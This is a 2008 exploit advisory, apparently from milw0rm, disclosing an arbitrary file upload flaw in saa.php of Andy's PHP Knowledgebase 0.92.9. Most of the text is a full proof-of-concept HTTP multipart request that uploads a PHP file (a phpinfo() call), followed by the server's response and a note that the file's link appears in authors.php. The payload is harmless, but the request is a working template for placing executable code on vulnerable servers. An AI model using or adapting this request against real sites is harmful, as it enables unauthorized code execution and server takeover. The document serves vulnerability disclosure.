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Andy's PHP Knowledgebase Arbitrary File Upload Vulnerability
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AUTHOR : CWH Underground
DATE : 1 December 2008
SITE : cwh.citec.us
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APPLICATION : Andy's PHP Knowledgebase
VERSION : 0.92.9
DOWNLOAD : http://sourceforge.net/project/showfiles.php?group_id=113755
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--- Arbitrary File Upload ---
In saa.php page, you can submit an article and attachment file to wait for approval from admin.
Immediately after you submit the article and attachment file, the file has already been on the server without checking file type.
You can upload arbitary file through this form and the url to this file is in authors.php page.
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POC
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POST /cms/aphpkb/saa.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/cms/aphpkb/saa.php?aid=2
Cookie: module=table; PHPSESSID=b311c4f9b1f3ee0c071f33ffd3b3176f
Content-Type: multipart/form-data; boundary=---------------------------22955284022147
Content-Length: 1080
-----------------------------22955284022147
Content-Disposition: form-data; name="title"
PoC Arbitrary File Upload
-----------------------------22955284022147
Content-Disposition: form-data; name="article"
PoC Arbitrary File Upload
-----------------------------22955284022147
Content-Disposition: form-data; name="keywords"
PoC Arbitrary File Upload
-----------------------------22955284022147
Content-Disposition: form-data; name="aid"
2
-----------------------------22955284022147
Content-Disposition: form-data; name="upload"; filename="info.php"
Content-Type: application/octet-stream
<? phpinfo(); ?>
-----------------------------22955284022147
Content-Disposition: form-data; name="description"
PHP File
-----------------------------22955284022147
Content-Disposition: form-data; name="aid"
2
-----------------------------22955284022147
Content-Disposition: form-data; name="a"
-----------------------------22955284022147
Content-Disposition: form-data; name="submit"
Submit/Save
-----------------------------22955284022147--
HTTP/1.x 200 OK
Date: Mon, 01 Dec 2008 05:39:35 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4578
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
-----------------------------------------------------------------------
Link for uploaded file is in http://[Target]/[aphpkb_path]/authors.php
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Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
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# milw0rm.com [2008-12-01]
